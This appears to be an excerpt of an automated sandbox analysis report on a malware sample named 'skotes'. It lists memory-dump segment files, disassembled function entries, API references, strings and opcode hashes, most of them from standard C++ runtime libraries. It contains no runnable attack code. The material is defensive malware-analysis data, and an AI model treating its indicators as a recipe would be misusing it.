Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction ID: 5162e61965c6ed3e0a22d3f39de79c6955606dca6da3be6b201d980540f65cb2
Opcode Fuzzy Hash: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction Fuzzy Hash: 0D317C71A402258BDB19DFA8C9415EEB7B6EF09310B24446EE845E73D1EB719E028BA4

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 00621B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00621B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621C2A

Strings

switchState, xrefs: 00621B5E
pContext, xrefs: 00621C22

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction ID: 2d48389e6839ab3e7441019ab4ff2970189836d26f80a843693a002af63cb836
Opcode Fuzzy Hash: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction Fuzzy Hash: 9531C535A44624ABCF14EF64D881AADB377BF66310F204569E9119B382EB71EE01CE94

Function 00624E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00624E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00624E86
PMDtoOffset.LIBCMT ref: 00624EAC

Strings

Bad dynamic_cast!, xrefs: 00624EEE

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: dea0ba402101bc13e627910e4202279486309304e252d12040c7f348937e7b3e
Instruction ID: 1c23f45bd97ae6e06b0f0d7bbbb355e4d60a856cdc7666bc151fc45b8465561c
Opcode Fuzzy Hash: dea0ba402101bc13e627910e4202279486309304e252d12040c7f348937e7b3e
Instruction Fuzzy Hash: 25212772600A25AFDB14DF68ED46EAE77BAFF84721F11851DF80197680DF31E9008E95

Function 0062727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006272BE

Strings

.com, xrefs: 006272FE
.bat, xrefs: 006272ED
.cmd, xrefs: 006272DC
.exe, xrefs: 006272CB

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction ID: ff2a8e43265be1e04f13094cf0bd9ab424411a36d1d26fe99269c00a5218bb2c
Opcode Fuzzy Hash: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction Fuzzy Hash: 0D010427718E33256B159059BD02FA7178B8BC2BB4B2A402EFC54F72C1EF44DC4229A4

Function 0060FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0060FB06

Strings

SetThreadGroupAffinity, xrefs: 0060FA87
GetThreadGroupAffinity, xrefs: 0060FA93
GetCurrentProcessorNumberEx, xrefs: 0060FABE
kernel32.dll, xrefs: 0060FA7A

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 37bca931f0ea1caa52af4359cbcc17f694c5bbf0c6332c2cdc93f3c97c5805b1
